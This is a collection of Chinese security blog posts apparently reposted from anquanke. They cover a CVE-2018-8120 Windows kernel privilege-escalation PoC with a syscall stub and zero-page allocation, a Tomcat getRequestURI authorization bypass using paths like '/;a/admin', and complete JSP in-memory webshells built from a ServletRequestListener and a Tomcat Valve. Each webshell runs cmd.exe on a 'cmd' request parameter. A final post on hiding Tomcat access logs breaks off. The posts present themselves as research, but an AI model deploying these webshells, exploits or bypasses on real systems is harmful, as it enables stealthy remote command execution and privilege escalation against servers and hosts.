此为先前对CVE-2018-8120的分析续集，其实很早就写好发布在安全客了，近来比较忙碌，迟迟未补录至个人公众号，有需要的可以跳转至安全客公众号查看，感谢各位师傅的支持～

阅读原文

跳转微信打开

“千古情仇可否折价，一杯都笑纳” - 《飒》

欢迎光临鲸落的杂货铺

原文首发于安全客 - 安全资讯平台

https://www.anquanke.com/post/id/241057

（图自：微博@伊吹鸡腿子 ）

Windows内核提权漏洞CVE-2018-8120的分析·上

背景：

因一次需要提权时，苦于查找安全可行的Exploit，加上一直对二进制漏洞心怀仰慕，所以花了点时间从底层研究一下漏洞原理及漏洞利用的编写，因为是从零开始，在摸索的过程中也踩了不少坑，记录下来，以供借鉴和回顾。

声明 ：

  由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，此文仅作交流学习用途。

工具：

• IDA pro

• PChunter

• Win7x86虚拟机

• Visual Studio 2019

• WinDBG

提要：

这次挑选了Windows系统CVE-2018-8120权限提升漏洞来着手研究和学习，该漏洞产生于win32k.sys组件，由于该组件中的SetImeInfoEx函数未能正确处理空指针对象，且因该空指针对象可被用户控制，导致任意内存地址写入的漏洞，通过与Bitmaps GDI技术的结合，进一步扩展为任意内存地址读和写，最终可用于权限提升。

一、漏洞定位分析

ID根据披露的信息，我们使用IDA Pro来对win32k.sys组件进行反编译以定位相关的漏洞位置。

（一）符号文件

“在此之前需要先了解一下“符号文件(Symbol Files)”，符号文件通常以.pdb作为扩展名，是EXE、DLL等二进制文件的调试信息文件，通常来说涵盖了二进制文件的全局变量、局部变量、函数名及入口地址等信息，可以理解为源代码。

由于符号文件程序包不时地需要更新，微软在2018年4月起，弃用了以往的离线下载方式，转而采用Microsoft公共符号服务器来提供下载。通过设置系统变量“set _NT_SYMBOL_PATH=srv*DownstreamStore*https://msdl.microsoft.com/download/symbols”，来自动加载符号文件。

符号文件详情：

https://docs.microsoft.com/zh-cn/windows-hardware/drivers/debugger/microsoft-public-symbols

（二）函数定位及分析

完成对win32k.sys的反编译后，我们在Function Window搜索SetImeInfoEx，随后按F5转化为C Code进而得到SetImeInfoEx的伪源码。

阅读该方法的代码流程，留意红框圈出处，v3 = *(_DWORD **)(a1 + 20); 其中，a1为输入的参数，由于未对V3做空指针校验而直接调用赋值给V3，导致了非法访问。

得知SetImeInfoEx方法存在漏洞，自然就要找到在何处调用了该方法，点击IDA View-A，文件查阅，通过XREF关键字可知，方法NtUserSetImeInfoEx调用了存在漏洞的SetImeInfoEx方法。

通过查看NtUserSetImeInfoEx函数的伪源代码，可知，传入SetImeInfoEx的第一个参数为  v4 = _GetProcessWindowStation(0);

通过查阅MSDN微软开发文档（https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-getprocesswindowstation），可知GetProcessWindowStation方法返回当前进程的窗口句柄。

既然有Get方法，自然也会有Set方法(https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setprocesswindowstation)

SetProcessWindowStation方法，可以将制定的窗口分配给调用的进程，使得进程可以访问窗口中的对象，比方说桌面、剪贴板等。

以及Create方法（https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-createwindowstationa）

经过这番分析，得知可以编写一个exe，该exe通过CreateWindowStation、SetProcesssWindowStation方法为当前进程设置窗口对象，而后调用NtSetUserImeInfoEx方法，进而触发SetImeInfoEx方法，而SetImeInfoEx方法的传参通过GetProcessWindowStation获得，受我们控制，因此，我们可以操纵SetImeInfoEx方法中v3的值。

链路为：CreateWindowSetProcessWindowStation->NtUserSetImeInfoEx->GetProcessWindowStation->SetImeInfoEx->v3->v4->qmemcpy

二、漏洞测试

（一）设置窗体

打开Visual Studio 2019 or 其他版本，首先调用CreateWindowStation得到tagWINDOWSTATION对象,随后调用setProcessWindowStation为当前进程设置tagWINDOWSTATION对象

#include <windows.h>int main(){HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0);SetProcessWindowStation(hSta);}

以下是tagWINDOWSTATION对象的结构(通过WinDBG查看结构体):

win32k!tagWINDOWSTATION   +0x000 dwSessionId      : Uint4B   +0x004 rpwinstaNext     : Ptr32 tagWINDOWSTATION   +0x008 rpdeskList       : Ptr32 tagDESKTOP   +0x00c pTerm            : Ptr32 tagTERMINAL   +0x010 dwWSF_Flags      : Uint4B   +0x014 spklList         : Ptr32 tagKL   +0x018 ptiClipLock      : Ptr32 tagTHREADINFO   +0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO   +0x020 spwndClipOpen    : Ptr32 tagWND   +0x024 spwndClipViewer  : Ptr32 tagWND   +0x028 spwndClipOwner   : Ptr32 tagWND   +0x02c pClipBase        : Ptr32 tagCLIP   +0x030 cNumClipFormats  : Uint4B   +0x034 iClipSerialNumber : Uint4B   +0x038 iClipSequenceNumber : Uint4B   +0x03c spwndClipboardListener : Ptr32 tagWND   +0x040 pGlobalAtomTable : Ptr32 Void   +0x044 luidEndSession   : _LUID   +0x04c luidUser         : _LUID   +0x054 psidUser         : Ptr32 Void

翻阅上图关于SetImeInfoEx函数的伪代码，其中第十行：v3 = *(_DWORD **)(a1 + 20);此处20转为16进制为0x014，也即获取tagWINDOWSTATION对象的spliIList成员的值。

由于通过CreateWindowStation初始化得到的tagWINDOWSTATION对象，其偏移量0x014的成员变量tagWINDOWSTATION->spklList默认为NULL。

（二）系统服务

Q：那么问题来了，设置好窗体对象后，要如何调用NtUserSetImeInfoEx方法呢？

A：由于NtUserSetImeInfoEx方法属于内核方法，用户程序不能直接访问内核空间，但我们可以通过调用系统服务来间接访问内核空间中的数据和方法。

Q：什么是系统服务？

A：系统服务，是由操作系统提供的一组内核函数，API可以间接或者直接的调用系统服务，而操作系统以动态链接库（DLL）的形式提供API，比方常见的ntdll.dll、kernel32,dll

Q：系统服务如何实现让用户模式下的程序调用内核函数？

A：当调用系统服务时，调用线程将会从用户模式切换为内核模式，等待调用结束后再回归用户模式，这个过程称之为上下文切换。通常通过软中断或快速系统调用实现上下文切换。

（三）系统服务描述表

那么接下来，我们需要去调用系统服务，从而间接调用NtUserSetImeInfoEx方法。

在此之前，先来了解系统服务描述表（System Service Descriptor Table），在Windows系统中，维护了两张“系统服务描述表”，分别是SSDT（System Service Descriptor Table）以及SSDTShadow（System Service Descriptor Table）。

该表可以基于系统服务编号进行索引，来定位内核函数内存地址，以供系统或程序进行调用。

Q：SSDT跟SSDTshadow有什么区别？

A：前者涵盖的是有关ntoskrnel.exe、ntdll.dll的内核函数，后者则包含了ntoskrnel.exe以及win32k.sys、gdi.dll、user.dll中包含的内核函数。我们打开PCHunter，查看一下两张表即一目了然。以下分别是SSDT以及SSDTshadow

这次我们先来了解SSDTShadow(System Service Descriptor Table Shadow)影子系统服务描述表，该表主要用于处理user32.dll、GDI32.dll中所调用的方法，主要在win32k.sys中实现，也就是本次存在漏洞的组件。

    以下是SSDT的结构（SSDT跟SSDTShadow结构一致）：

typedef struct _SERVICE_DESCRIPTOR_TABLE{    PULONG ServiceTableBase;// 指向函数地址的指针，每个成员占4字节    PULONG ServiceCounterTableBase;// 当前系统服务表被调用的次数    ULONG  NumberOfService;// 服务函数的数量    PUCHAR ParamTableBase;// 服务函数的参数总长度，以字节为单位，每个成员占一个字节} SSDTEntry, *PSSDTEntry;

在ServiceTableBase中，记录了第一个内核方法的内存地址，而该内存地址指向了不同的内核函数，其中，通过地址的偏移，我们可以遍历得到SSDT所记录的所有内核函数的内存地址（仅包含用户模式最常用的内核函数，并非囊括全部内核函数）

回归正题，我们在Win7 x86的环境下打开PChunter，点击内核钩子-ShadowSSDT，通过翻找可以查阅到我们所需调用的NtUserSetImeInfoEX的编号为550。

在每个Windows系统版本中，为了保持系统稳定可用，内核函数在系统服务描述表的排列顺序都是不变的，我们在Win7 x86的环境下打开PChunter，点击内核钩子-ShadowSSDT，通过翻找可以查阅到我们所需调用的NtUserSetImeInfoEX的编号为550。而550就是该内核方法的调用号。

WindowsNT基本的系统native调用有两百多个，而记录在SSDT中的内核函数，编号都小于0x1000，编号大于0x1000的系统调用号是微软扩展出来的。

而扩展出来的系统调用号用于动态安装的模块win32k.sys，记录在SSDTShadow，由于我们需调用的NTUserSetImeInfoEx属于win32k.sys，是扩展出来的系统调用号，因此将550转化为16进制为0x0226后，还需要添加0x1000的起始偏移，因此NtUserSetImeInfoE方法的内存地址偏移量为0x1226。

想要进一步了解系统服务调用和SSDT、SSDTShadow之间的过程和联系，可以查阅：https://blog.csdn.net/qq_41988448/article/details/102994374

（四）系统调用

想要通过系统服务调用号来调用系统服务，我们需要通过快速系统调用的方式进行调用，也就是KiFastSystemCall，而每个Windows版本中，快速系统调用函数的内存地址是固定不变的，记录在UserSharedData!SystemCallSutb当中，而在Win7 x86中，系统快速调用函数的内存地址为“0x7ffe0300”

Q：什么是系统调用？

A：系统调用，顾名思义，说的是操作系统提供给用户程序调用的一组“特殊”接口。用户程序可以通过这组“特殊”接口来获得操作系统内核提供的服务。从逻辑上来说，系统调用可被看成是一个内核与用户空间程序交互的接口——它好比一个中间人，把用户进程的请求传达给内核，待内核把请求处理完毕后再将处理结果送回给用户空间

Q：快速系统调用跟系统调用是什么关系？

A：快速系统调用是系统调用的一种。

Q：为何要通过系统调用方法来进行调用？

A：无论何时用户态线程调用系统服务，线程都将突然被允许运行特权操作系统代码。这对于操作系统来说是很不友好的。用户态线程可能破坏系统的数据结构或在内存中移动一些内容，对系统和用户产生巨大破坏。正因为如此，处理器通常提供一条只用于系统服务的特殊指令，而这条指令就是系统调用。

（五）编写poc

打开Visual Studio，使用汇编语言编写调用NtSetUserImeInfoEx方法，其中“0x1226”为NtUserSetImeInfoEx方法的地址偏移，“0x7ffe0300”为内存地址固定的UserSharedData!SystemCallSutb，快速系统调用函数的地址，下面汇编语义就是将调用号作为快速系统调用的参数，由快速系统调用函数查找调用号对应的内核函数，并进行调用。

__declspec(naked) void NtSetUserImeInfoEx(char* arg1){  __asm  {    mov eax, 0x1226;    mov edx, 0x7ffe0300;    call dword ptr[edx];    ret 0x04  }}

__declspec(naked)是用来告诉编译器函数代码的汇编语言为自己的所写，不需要编译器添加任何汇编代码，通俗说可生成纯汇编。

官方解释：For functions declared with the naked attribute, the compiler generates code without prolog and epilog code. You can use this feature to write your own prolog/epilog code sequences using inline assembler code. Naked functions are particularly useful in writing virtual device drivers. Note that the naked attribute is only valid on x86, and is not available on x64 or Itanium.(混合汇编编写代码仅支持生成x86应用)

整合起来为：

#include <windows.h>__declspec(naked) void NtSetUserImeInfoEx(char* arg1){   __asm    {      mov eax, 0x1226;      mov edx, 0x7ffe0300;      call dword ptr[edx];      ret 0x04    }} int main(){   HWINSTA hStation = CreateWindowStation(0, 0, READ_CONTROL, 0);  SetProcessWindowStation(hStation);  char ime[0x800];  NtSetUserImeInfoEx(ime);  return 0;} 

编译成exe拿到Win7 x86虚拟机中执行，由于调用系统服务时产生了模式切换，进入了内核态，在内核态中，对空指针进行操作，进而触发了蓝屏。而在用户模式下对空指针进行操作，只会返回程序错误。

蓝屏触发，说明触发了空指针引用，定位到漏洞点。

（六）零页内存以及空指针赋值分区

在《Windows核心编程》关于内存结构的章节中指出：Windows系统存在空指针赋值分区，其范围从0x00000000至0x0000FFFF，由于这部分内存位于地址空间的最开始，因此也称之为零页内存，这段内存空间是空闲的，没有相应的物理存储器与之对应，因此对于这段空间而言，任何的读写操作都会造成异常。

在内核态会触发蓝屏，在用户态会触发程序错误。由于一个内存地址存储空间为1字节，由0x0000FFFF为65536此处为64kB。

Q：是否空指针分区或者零页内存就无法使用呢？

A：非也，通过调用ntdll.dll的NtAllocateVirtualMemory函数，通过特殊的小技巧，可以在零页内存分配内存空间，使得NULL指针可读，不会报错。

 // 定义NtAllocateVirtualMemory函数结构typedef NTSTATUS(__stdcall *MyNtAllocate)(  HANDLE    ProcessHandle,  PVOID* BaseAddress,  ULONG_PTR ZeroBits,  PSIZE_T   RegionSize,  ULONG     AllocationType,  ULONG     Protect);MyNtAllocate fun;  PVOID baseAddr = (PVOID)0x100; //以0x100作为起始地址DWORD size = 0x1000; // 分配页面大小为4KBfun = (MyNtAllocate)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");if (fun == NULL){  printf("[-] fail to GetAddress");  exit(-1);}fun(GetCurrentProcess(), &baseAddr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);//分配内存空间

对于Windows系统，在进程的虚拟空间申请一块内存时，该块内存默认为64KB大小对齐（分配内存的起始地址必须为64KB的整数倍），因此，当我们设置分配内存的起始地址为0x00000100时，系统会强制决定起始地址为0x00000000，由于我们分配页面大小选择4KB，因此分配得到的内存空间为0x00000000~0x00001FFF。

当完成内存空间分配后，原本的空指针赋值分区可读可写，所有当再次调用SetImeInfoEX方法时，便不再会触发蓝屏（蓝屏是因为对于零页内存的任意读写都会报错）。

至此，我们通过在用户态R3的程序中通过分配内存空间，设置内存数据，最终控制SetImeInfoEx函数中v3的取值，进而可以控制其随后在21行调用的qmemcpy(v4, a2, 0x15Cu);，达到任意地址写入的目的。

三、后续

结合本次内容，下一篇将结合BitMap技术，将任意地址写入，转化任意地址读写。

阅读原文

跳转微信打开

鲸落的杂货铺

跳转微信打开

年年岁岁应如是

欢迎光临鲸落的杂货铺

原文首发于安全客 - 安全资讯平台

https://www.anquanke.com/post/id/230238

（图自喜欢的古风插画家：微博@伊吹鸡腿子 ）

  由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，此文仅作交流学习用途。

     Hello，客官们好久不见，最近琐事缠身，也是抽空对Tomcat这个基础特性，做了点小分析。

    回归正题，在日常代码审计的过程中发现Tomcat原生javax.servlet.http.HttpServletRequest类提供的getRequestURI()方法，在解析请求时若使用不当，可以绕过访问控制，导致未授权访问。

    事实上，Tomcat在解析请求路径时，会自行修正路径，并使用修正后的路径来匹配对应的Servlet，然而，在路径需要修正的情况下，Tomcat自行修正后得到的URI路径跟使用getRequestURI方法得到的URI路径不一致，因而在我们去对请求路径做权限访问控制时，容易导致绕过。

    ok，前情提要浅尝辄止，接下来，上号！

     这次换个思路，逆流而上，Tomcat是根据什么来匹配对应的Servlet，回顾先前文章，涉及流的解析与对象封装，那就是Tomcat架构中Connector连接器与Container容器的桥梁org.apache.catalina.connector.CoyoteAdapter#prepare方法，在那里新建和封装Request和Response对象，并最终在postParseRequest方法的this.connector.getService().getMapper().map()中完成对Servlet的绑定。

    阿~是decodedURI，后面是根据decodeURI来匹配Servlet的，现在我们去追溯一下decodedURI。适配器CoyoteAdapter作为桥梁，首先被调用Prepare方法，在其中新建Request及Response对象，并调用postParseRequest方法对Request对象完成数据封装。

    看函数名识别函数作用，进入postParseRequest方法，该方法会对请求所使用的协议、请求方式等进行判断，并一一封装入Request对象中，略过，直捣黄龙。

    decodeURI从req,decodedURI()中取出，刚取出时为null，(由于undecodedURI的Type为2时指代bytes类型，满足if条件)，随后进入if逻辑，通过duplicate(复制)，复制得到了undecodedURI的值。这里调试时，访问的地址为“/t***/;abc/index.jsp”。随后进入parsePathParameters方法，进一步解析URI。

    举一个例子说明处理流程，比方说访问的URI为/t/;a=1;b=2/./../index.jsp。

    首先根据分号来进行分割，分割出A部分和B部分 

        A部分:"/t/"        B部分:"a=1;b=2/./../index.jsp"

    然后查找B部分中，第一个分号的下标，分割出pathVariables简称pv(路径参数)以及C部分。

        pv部分:"a=1"        C部分:";b=2/./../index.jsp"

    将A部分与C部分进行拼接得到D部分

        D部分:"/t/;b=2/./../index.jsp"

    而每次分割得到的pv，会判断是否含有等于号，含有则被保存为pathParameters，因此上述最终得到pathParameters={“a”:”1”, ”b”:”2”}，没有等于号，则直接忽略pv。

    重复以上流程，直到分割后的第二部分不存在分号，最后得到/t//./../index.jsp

    到这里，parsePathParameters(req, request)就完成了，然后进入602行req.getURLDecoder().convert(decodedURI, false)，完成URL编码解析，再之后进入607行normalize(req.decodedURI())方法，该方法顾名思义用于规范化URI，会对URI进行进一步的修正。

    normalize方法主要有四个修正行为，一一列举。

    反斜杠Ascii码为“92”，将URI中所有的“\”修正为“/”

    斜杠的Ascii码为“47”，将URI中紧邻的两个斜杠修正为一个斜杠，形如“/t//./../index.jsp”修正为“/t/./../index.jsp”

    第三和第四合并说明，首先修正URI中的“/./”，例如将“/t/./../index.jsp”修正为”/t/../index.jsp”,随后，解析“/../”进行URI路径跳跃，例如将“/t/../index.jsp”最终解析为“/index.jsp”。

    综上，normalize()方法结束后，Tomcat对于当前请求的URI已经解析完毕，并保存在变量decodedURI中，并最终交由this.connector.getService().getMapper().map(serverName, decodedURI, version, request.getMappingData());根据decodedURI来匹配对应的Servlet。

    而我们原本访问的URI“/t/;a=1;b=2/./../index.jsp”则保存在Coyote.Request实例的uriMB当中。

    对于各种业务系统而言，理所应当会存在多用户多角色的访问控制，具体表现在是否有足够的权限去调用后端的接口，而实现访问控制很重要的前提就是通过用户当前请求的路径来进行判断匹配。

    打个比方说，用户test，不可以访问“/admin”接口，从业务代码实现起来，就是判断用户test当前访问的URI是否等价于"/admin",如果等价，则响应401权限不足。

    这里边的问题是什么呢？仍有部分开发者，习惯地通过HttpServletRequest.getRequestURI()的方式，来获取当前请求的URI。承接前面我们的分析，补充一下，该方法事实上是返回了Coyote.Request中的uriMB，也就是没有经过Tomcat修正的URI，因此可能会产生这么一种情况：用户test访问的URI经过修正后，实际访问的是“/admin”,但后端使用getRequestURI()方法得到的URI跟“/admin”不等价，结合上面分析举个例子，很容易明白：“/;/admin”、“/;a/admin”、“/;a=1/admin”

    以上三个路径跟"/admin"无法等价，但经Tomcat修正后，访问的却恰恰是“/admin”。

String uri = request.getContextPath() + request.getServletPath();

    不同的框架可能在资源解析中各有差异，就像先前Spring与Shiro之间的解析差异产生的未授权访问，因此日常审计也可以多留心这条思路。

    从修复漏洞，抵御风险，提高系统安全性的角度来说，需尽保证关键数据、关键对象，传递和使用的一致性，以免岔路。

阅读原文

跳转微信打开

“少年的梦发烫，晒过月与太阳，随风自生自长”

欢迎光临鲸落的杂货铺

原文首发于安全客 - 安全资讯平台

https://www.anquanke.com/post/id/226769

（图自喜欢的古风插画家：微博@伊吹鸡腿子 ）

背景：

       基于现阶段红蓝对抗强度的提升，诸如WAF动态防御、态势感知、IDS恶意流量分析监测、文件多维特征监测、日志监测等手段，能够及时有效地检测、告警甚至阻断针对传统通过文件上传落地的Webshell或需以文件形式持续驻留目标服务器的恶意后门。

结合当下形势，对Tomcat容器如何利用Listener实现的内存Webshell进行研究学习。

声明 ：

  由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，此文仅作交流学习用途。

一、什么是Listener？

Listener译文监听器，顾名思义用于监听事件的发生或状态的改变。

二、Tomcat为什么要引入Listener？

Tomcat在启动、运行、关闭等各个过程中，由于环境中对象之间的依赖关系复杂，对象的属性和状态会发生各种改变，一个对象的改变需要通知其他依赖于它的对象，以此保证高度的协同合作，而Listener的引入，正是为了解决该问题。

这种行为模式，也称为观察者模式。

三、Listener的实现和类型？

Tomcat使用两类Listener接口分别是org.apache.catalina.LifecycleListener和原生Java.util.EvenListener。

LifecycleListener增加了生命周期管理，主要用于四大容器类StandardEngine、StandardHost、StandardContext、StandardWrapper。相关的类和接口列出如下，看下图三，Lifecycle接口定义了运行状态，用于容器状态的判断和管理。

但我们这次不讲LifecycleListener，原因是它们多用于Tomcat初始化启动阶段，那时客户端的请求还没进入解析阶段，也就是说不能通过请求随心所欲传递并执行我们的命令。

所以，让我们来看看EvenListener。EvenListener接口很简单，简单到啥也没有。

原生Tomcat中，自定义了很多继承于EventListener的接口，应用于各个对象的监听。下图列举一些常见的监听器接口。

我们主要来关注箭头指向的ServletRequestListener，可能有的朋友会好奇为何这么多不选，而要挑ServletRequestListener。

既然要实现Webshell，理所当然希望它能接收我们任意的输入以及随心所欲控制响应，因此我们需找到一个Tomcat解析了请求后但仍未响应的中间环节。而ServletRequestListener是一个很好选择，来看看为什么。

ServletRequestListener用于监听ServletRequest的生成和销毁，也就是当我们访问任意资源，无论是servlet、jsp还是静态资源，都会触发requestInitialized方法。继续看，在哪个环节，什么时候，哪个地方会调用监听器。

具体在StandardHostValve调用下一个阀之前调用context.fireRequestInitEvent(request.getRequest())，进而调用ServletRequestListener。

了解Tomcat处理流程的应该知道，请求在CoyoteAdapter#service()方法中生成ServletRequest对象并完成解析，下个流程是到Engine、Container中进行处理，而StandardHostValve正是Container中的环节，到这一步时，我们的请求参数已经被Tomcat解析完毕并保存在Request对象里了，继续往下看。

此处的context是StandardContext，来看fireRequestInitEvent()。

通过this.getApplicationEventListeners();获取成员属性ApplicationEventListeners中的监听器，然后生成ServletRequestEvent事件对象，而后通过for循环，遍历调用(ServletRequestListener) listener.requestInitialized(event);

而requestInitialized就是继承ServletRequestLisner接口要实现的方法。

经过以上分析，大致了解，Tomcat执行到StandardHostValve#invoke()时，获取存储在StandardContext.ApplicationEventListeners中的监听器，并遍历调用listener#requestInitialized()

那注入listener马，我们只需要新建一个继承ServletRequestLisner接口的监听器并在requestInitialized方法中实现我们想要的任意功能，然后将该实例添加到StandardContext的ApplicationEventListeners变量就大功告成了。

默认情况下，ApplicationEventListeners为空，不存在监听器，这里如此设计是为了给开发者提供更多的功能扩展空间，比方说实施一些用户数据埋点记录，运行状态监控等等。

四、编写代码

导入的包：

<%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.connector.Request" %><%@ page import="java.io.InputStream" %><%@ page import="java.util.Scanner" %><%@ page import="java.io.IOException" %>

编写监听器：

<%!    public class myListener implements ServletRequestListener {        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();            if (req.getParameter("cmd") != null){                InputStream in = null;                try {                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();                    Scanner s = new Scanner(in).useDelimiter("\\A");                    String out = s.hasNext()?s.next():"";                    Field requestF = req.getClass().getDeclaredField("request");                    requestF.setAccessible(true);                    Request request = (Request)requestF.get(req);                    request.getResponse().getWriter().write(out);                }                catch (IOException e) {}                catch (NoSuchFieldException e) {}                catch (IllegalAccessException e) {}            }        }
        public void requestInitialized(ServletRequestEvent sre) {}    }%>

一个小路径快速获得StandardContext：

<%    Field reqF = request.getClass().getDeclaredField("request");    reqF.setAccessible(true);    Request req = (Request) reqF.get(request);    StandardContext context = (StandardContext) req.getContext();%>

添加监听器:

<%    myListener listenerdemo = new myListener();    context.addApplicationEventListener(listenerdemo);%>

五、补充细节

（1）关于*.jsp页面中的request对象实际上是RequestFacade对象，这里采用的是门面模式，将复杂的对象转化成一个简单易操作的对象，提供一个简单入口的同时也是为了保证原有对象的独立性。而RequestFacade就是org.apache.catalina.connector.Request对象的门面。

（2）还记得调用ServletRequestListener的入口不？context.fireRequestInitEvent(request.getRequest())，这里的request.getRequest()得到的也是Request对象的门面，可别搞错咯。所以上面我使用了反射得到RequestFacade里的Request，进而得到Response控制输出。

六、效果

阅读原文

跳转微信打开

"让我在你的沉默中安静无声，并借于你的沉默与你说话" - Pablo Neruda

欢迎光临鲸落的杂货铺

原文首发于安全客 - 安全资讯平台

https://www.anquanke.com/post/id/225870

（图自喜欢的古风插画家：微博@伊吹鸡腿子 ）

背景：

       基于现阶段红蓝对抗强度的提升，诸如WAF动态防御、态势感知、IDS恶意流量分析监测、文件多维特征监测、日志监测等手段，能够及时有效地检测、告警甚至阻断针对传统通过文件上传落地的Webshell或需以文件形式持续驻留目标服务器的恶意后门。

       结合当下的形势，对Tomcat容器的管道机制进行了研究分析，并最终利用Valve成功构造出新型内存马。

声明 ：

  由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，此文仅作交流学习用途。

一、何为Valve？能做些什么？

Valve译文为阀门。在Tomcat中，四大容器类StandardEngine、StandardHost、StandardContext、StandardWrapper中，都有一个管道(PipeLine)及若干阀门(Valve)。

形象地打个比方，供水管道中的各个阀门，用来实现不同的功能，比方说控制流速、控制流通等等。

那么，Tomcat管道机制中的阀门(Valve)如出一辙，我们可以自行编写具备相应业务逻辑的Valve，并添加进相应的管道当中。这样，当客户端请求传递进来时，可以在提前相应容器中完成逻辑操作。

由于Valve并不以实体文件存在，深入容器内部不易发现，且又能执行我们想要的代码逻辑，是一个极好利用点，接下来我们继续分析一下。

二、Valve的机制？

正如前文所说，每个容器对象都有一个PipeLine模块，在PipeLine模块中又含有若干Value(默认情况下只有一个)。

PipeLine伴随容器类对象生成时自动生成，就像容器的逻辑总线，按照顺序加载各个Valve，而Valve是逻辑的具体实现，通过PipeLine完成各个Valve之间的调用。

在PipeLine生成时，同时会生成一个缺省Valve实现，就是我们在调试中经常看到的StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve

在Tomcat中，有四大容器类，它们各自拥有独立的管道PipeLine，当各个容器类调用getPipeLine().getFirst().invoke(Request req, Response resp)时，会首先调用用户添加的Valve，最后再调用缺省的Standard-Valve。

注意，每一个上层的Valve都是在调用下一层的Valve，并等待下层的Valve返回后才完成的，这样上层的Valve不仅具有Request对象，同时还能获取到Response对象。使得各个环节的Valve均具备了处理请求和响应的能力。

图1  管道处理流程

三、Valve的调用和继承关系？

图2  调用Pipeline

在CoyoteAdapter#service方法中，调用StandardEngine#getPipline()方法获取其pipeline，随后获取管道中第一个valve并调用该阀门的invoke方法。

图3  默认日志Valve(阀)

在Tomcat默认的servler.xml配置中，定义了一个用于记录日志的Valve，查看这个org.apache.catalina.valves.AccessLogValve类

图 4  AccessLogValve抽象类

图5  Valve基类

继承于ValveBase类，而ValveBase又继承了LifeCycleMBeanBase类，ValveBase作为Tomcat的一个抽象基础类，实现了生命周期接口及MBean接口，使得我们可以专注于阀门的逻辑处理.

图6  Pipeline接口

而PipeLine也实现了addValve的方法。

经过以上分析，那么我们只需要编写一个继承于ValveBase的类，并重写Invoke方法，随后调用相应容器实例的getPipeline方法，再调用管道的addValve方法即可。

四、Valve代码编写

按照惯例，所用的包：

<%@ page import="org.apache.catalina.valves.ValveBase" %><%@ page import="java.io.IOException" %><%@ page import="org.apache.catalina.connector.Request" %><%@ page import="org.apache.catalina.connector.Response" %><%@ page import="org.apache.catalina.Valve" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.catalina.Pipeline" %>

编写恶意Valve，注意到调用this.getNext().invoke(req,resp)方法调用下一个Valve，否则会在该Valve终止，影响后续的响应：

<%!public class myValue extends ValveBase{@Overridepublic void invoke(Request req, Response resp) throws IOException, ServletException {if (req.getParameter("cmd") != null) {              InputStream in = java.lang.Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", req.getParameter("cmd")}).getInputStream();              Scanner s = new Scanner(in).useDelimiter("\\A");String o = s.hasNext() ? s.next() : "";              resp.getWriter().write(o);          }this.getNext().invoke(req, resp);      }  }%>

注入到StandardContext中，当然你也可以注入到其他容器类，至于这里获取StandardContext的方法可以参考上一篇关于隐藏访问记录的文章：

<%Valve myValve = new myValue();Field reqF = request.getClass().getDeclaredField("request");reqF.setAccessible(true);Request req = (Request) reqF.get(request);StandardContext context = (StandardContext) req.getContext();Pipeline pipeline = context.getPipeline();pipeline.addValve(myValve);%>

五、效果展示

阅读原文

跳转微信打开

珠玉在侧，如珠在渊

欢迎光临鲸落的杂货铺

原文首发于安全客 - 安全资讯平台

https://www.anquanke.com/post/id/225027

（图自喜欢的古风插画家：微博@伊吹鸡腿子 ）

背景：

       基于现阶段红蓝对抗强度的提升，诸如WAF动态防御、态势感知、IDS恶意流量分析监测、文件多维特征监测、日志监测等手段，能够及时有效地检测、告警甚至阻断针对传统通过文件上传落地的Webshell或需以文件形式持续驻留目标服务器的恶意后门。

       结合当下的形势，尝试在Tomcat容器中寻找能为我们渗透测试提供便利的特性。

声明 ：

  由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，此文仅作交流学习用途。

一、Tomcat的日志类型

基于默认配置启动的Tomcat会在logs目录中产生以下五类日志：catalina、localhost、localhost_access、host-manager、manager

其中，catalina记录了Tomcat从开始启动到终止的运行信息以及应用向console里输出的日志，localhost与catalina区别不大，但记录的内容相较于catalina没有那么全，跟servlet、JSP有关的报错信息会在localhost中记录。

Host-manager、manager这两者日志

Tomat有五类日志：catalina、localhost、manager、admin、host-manager

catalina：记录了Catalina引擎的日志文件

localhost：记录了Tomcat内部代码抛出的日志

localhost_access: 记录了Tomcat的访问日志

host-manager以及manager：记录的是Tomcat的webapps目录下manager的应用日志

既然是跟隐藏访问记录有关，本次对localhost_access日志的调用逻辑和调用流程进行调试学习

二、Tomcat记录访问日志的流程细节？

Tomcat是对客户端的请求完成响应后，再进行访问日志记录的。具体实现在CoyoteAdapter#service方法，下图第二个红框处。

此处的Context变量其实是StandardContext，Host变量是StandardHost。然而，无论是StandardHost类还是StandardContext类，这两个容器实现类都继承于ContainerBase类。

由于这两个子类，并没有重写自己的logAccess方法，因此这里调用的logAccess(request, response, time ,false)方法，其实是调用其父类ContainerBase的logAccess方法。

代码逻辑很清晰，稍微说明一下调用顺序，Tomcat组件的日志记录是逐层回溯，从下往上调用的。

首先，从CoyoteAdapter#service()方法中，先由调用StandardContext实例的logAccess方法，所以上图的this第一次指代的是StandardContext自身，通过getAccessLog方法，获取StandardContext的日志记录对象。再调用log()方法，记录request、reponse、time中的信息。

那么当StandardContext调用完成日志记录后，进入下一个if逻辑。

通过StandContext.getParent方法，获取上级容器实现类StandardHost。如果有朋友好奇为什么是StandardHost的话，可以先了解一下Tomcat的Container架构，也可以阅读先前编写的文章。

